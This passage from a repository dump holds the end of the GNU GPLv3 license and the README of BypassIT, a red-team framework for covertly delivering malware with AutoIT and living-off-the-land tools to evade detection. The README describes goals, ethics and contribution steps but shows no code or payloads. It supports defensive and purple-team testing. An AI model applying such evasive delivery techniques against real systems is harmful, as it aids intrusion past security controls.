or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # BypassIT 2 | 3 | ## --- Introduction --- 4 | 5 | We now introduce BypassIT as a project to work toward a framework for covert delivery of malware using AutoIT and other Live off the Land (LotL) tools to deliver payloads and to avoid detection. These techniques were derived from reversing attacks observed in the wild by DarkGate and other MaaS actors, revealing universal principles and methods useful for red teaming or internal testing. The framework will consist of a series of tools, techniques, and methods along with testing and reporting on effectiveness. 6 | 7 | There are other excellent projects that have talked specifically about the use of AutoIT such as the outstanding resources created by V1V1 (Offensive AutoIT) that we will link to in the resources section. However, some of these projects have not been updated recently in response to recent adversary activity, so it is our intention to build upon and reference these awesome prior projects, while continuing to develop both new offensive scripts that will be tested and maintained as well as new detection logic and tools to better protect against AutoIT-based attacks. 8 | 9 | ## --- Scope and Purpose --- 10 | 11 | This framework is intended to help fully understand the LotL capabilities that are being used by adversaries, so that we can test them against our own defensive posture and learn where we are week. It can be used by internal testers doing purple teaming as a part of their ongoing operations, or these tools may be useful to red teams who perform security assessments for customers. In either case, we hope the information will be used to discover coverage gaps in products and processes that can be used to inform and educate both security product vendors and individual companies with configuration or procedural gaps. 12 | 13 | ## --- Ethical Standards / Code of Conduct --- 14 | 15 | This project has been started to help better test our products, configurations, detection engineering, and overall security posture against a series of techniques that are being actively used in the wild by adversaries. We can only be successful at properly defending against evasive tactics, if we have the tools and resources to replicate the approaches being used by adversaries in an effective manner. Participation in this project and/or use of these tools implies good intent to use these tools ethically to help better protect/defend, as well as an intent to follow all applicable laws and standards associated with the industry. 16 | 17 | ## --- Instructions and Overview --- 18 | 19 | Please see our [BypassIT Wiki](https://github.com/CroodSolutions/BypassIT/wiki) for details on how to leverage this framework. 20 | 21 | 22 | ## --- How to Contribute --- 23 | 24 | We welcome and encourage contributions, participation, and feedback - as long as all participation is legal and ethical in nature. Please develop new scripts, contribute ideas, improve the scripts that we have created. The goal of this project is to come up with a robust testing framework that is available to red/blue/purple teams for assessment purposes, with the hope that one day we can archive this project because improvements to detection logic make this attack vector irrelevant. 25 | 26 | 1. Fork the project 27 | 2. Create your feature branch (`git checkout -b feature/AmazingFeature`) 28 | 3. Commit your changes (`git commit -m 'Add some AmazingFeature'`) 29 | 4. Push to the branch (`git push origin feature/AmazingFeature`) 30 | 5. Open a Pull Request 31 | 32 | ## --- Acknowledgments --- 33 | 34 | This project would not have been possible without the outstanding contributions of these key researchers: 35 | 36 | - [AnuraTheAmphibian](https://github.com/AnuraTheAmphibian) 37 | - [christian-taillon](https://github.com/christian-taillon) 38 | - [Duncan4264](https://github.com/Duncan4264) 39 | - [flawdC0de](https://github.com/flawdC0de) 40 | - [Kitsune-Sec](https://github.com/Kitsune-Sec) 41 | - [shammahwoods](https://github.com/shammahwoods) 42 | - [matt-handy](https://github.com/matt-handy) 43 | - [rayzax](https://github.com/rayzax) 44 | 45 | Also, this builds upon prior research done by many outstanding security professionals who have paved the way: 46 | 47 | - [0xToxin](https://0xtoxin.github.io/threat%20breakdown/DarkGate-Camapign-Analysis/) 48 | - [V1V1](https://github.com/V1V1/OffensiveAutoIt?tab=readme-ov-file#setting-up-a-dev-environment) 49 | 50 | (this project is in beta, so we are still organizing our notes on acknowledgements - more to follow) 51 | --------------------------------------------------------------------------------